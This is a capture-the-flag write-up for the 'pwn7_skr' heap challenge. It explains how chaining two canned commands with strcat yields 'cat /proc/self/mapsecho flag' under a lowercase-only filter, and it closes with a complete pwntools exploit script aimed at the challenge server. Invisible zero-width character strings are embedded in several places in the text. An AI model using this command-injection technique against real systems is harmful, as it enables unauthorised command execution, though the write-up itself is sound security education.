← Back to Writeups
CUSTOMMediumpwn

pwn7_skr

XESXOR9/2/20264 min read
#pwn#custom#medium#cat_multi_arg_read#command_concatenation_via_strc#cwd_recon#lowercase_filter_bypass#linux

pwn7_skr

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: cat_multi_arg_read, command_concatenation_via_strcat, cwd_recon, lowercase_filter_bypass

Summary

Task: heap command runner that does system(buf) where buf is built by two prepare actions; a greet action strcats 'echo '+lowercase-only name and a memory-map action sets 'cat /proc/self/maps'. Solution: concatenate both actions on the SAME chunk so strcat chains them into 'cat /proc/self/mapsecho flag'; cat reads multiple file args, the bogus first path errors to stderr while the valid cwd file 'flag' prints to stdout — no overflow, leak, or libc work needed.

pwn7_skr — pwn_spbctf

Description

Флаг лежит в /flag

Task author: Anatoly Korniltsev (@korniltsev). Category: heap, tier pwn7. Remote: nc 109.233.56.90 11514 (platform pwn.spbctf.ru).

English summary: A menu-driven "command runner" lets you allocate command structs on the heap, prepare them with one of two canned command strings, and execute them via system(buf). The flag lives in /flag (and, as recon shows, as a plain flag file in the process CWD /). The goal is to get the program to run a shell command that reads the flag, despite a strict lowercase-only filter on the only user-controllable input. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The relevant struct and logic (skr.c):

c
struct command {
    char buf[128];
    void (*free)(struct command *it);
    void (*exec)(struct command *it);
};                                  // size 0x90

void exec_command(struct command *it) {
    if (strlen(it->buf)) system(it->buf);   // buf is at chunk offset 0
}

Binary properties: NON-PIE (0x400000), Partial RELRO, NO stack canary, glibc 2.27 (confirmed via the /proc/self/maps leak the program offers).

Menu:

  • [1] allocate — malloc(sizeof(struct command)), set free/exec pointers, bzero(buf, 128).
  • [2] prepare — two types:
    • type 1 "greet": read name via fgets (≤122 chars), reject any char outside a–z, then strcat(buf, "echo ") followed by strcat(buf, name). Crucially it does not bzero first, so repeated greets append.
    • type 2 "memory map": strcpy(buf, "cat /proc/self/maps") (19 chars).
  • [3] execute — cmds[idx]->exec(cmds[idx]) → exec_command → system(buf).
  • [4] free. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation: system() runs whatever string is in buf, and buf is at offset 0 of the chunk, so we fully control the executed shell line as far as we can write bytes into buf.

Why the obvious routes are dead ends

  • Function-pointer overwrite (the "intended-looking" heap overflow): because greet appends without re-bzero, calling greet many times overflows buf[128] into the free/exec pointers. But greet only writes lowercase a–z, so you cannot craft a clean code pointer. Dead end.
  • Directly crafting cat /flag or /bin/sh: the lowercase filter blocks /, space, and uppercase. The only / and space you ever get come from the canned "cat /proc/self/maps" and the "echo " prefix — you cannot type your own. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The recon that unlocked it

A benign command run first listed the CWD and revealed that the flag exists as a plain file named flag in the process working directory / (not only as /flag). The name flag is pure lowercase — exactly what the greet filter allows. That turns an impossible /-requiring read into a no-slash one.

Solution

Concatenate the two prepare actions on the same chunk so strcat chains them into one shell command line:

  1. allocate command B.
  2. prepare B as "memory map" → B->buf = "cat /proc/self/maps" (NUL at offset 19, contains a real / and a space).
  3. prepare B as "greet" with name flag → strcat appends from the NUL: B->buf = "cat /proc/self/maps" + "echo " + "flag" = "cat /proc/self/mapsecho flag".
  4. execute B → system("cat /proc/self/mapsecho flag"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

cat receives two file arguments after word-splitting: /proc/self/mapsecho (does not exist → error to stderr) and flag (exists in CWD → printed to stdout). The flag is printed.

One alloc, two prepares, one execute. No overflow, no leak math, no libc work.

python
#!/usr/bin/env python3
from pwn import *
context.log_level = 'error'
HOST, PORT = '109.233.56.90', 11514

def alloc(io):
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'id = ')
    return int(io.recvline().strip())

def prep_greet(io, idx, name):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'> ', str(idx).encode())
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'> ', name)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def prep_map(io, idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'> ', str(idx).encode())
    io.sendlineafter(b'> ', b'2')

def execute(io, idx):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'> ', str(idx).encode())

io = remote(HOST, PORT)
b = alloc(io)
prep_map(io, b)             # B->buf = "cat /proc/self/maps"
prep_greet(io, b, b'flag')  # strcat -> "cat /proc/self/mapsecho flag"
execute(io, b)              # system(...) -> cat reads cwd file "flag"
print(io.recvuntil(b'1. allocate', timeout=8).decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍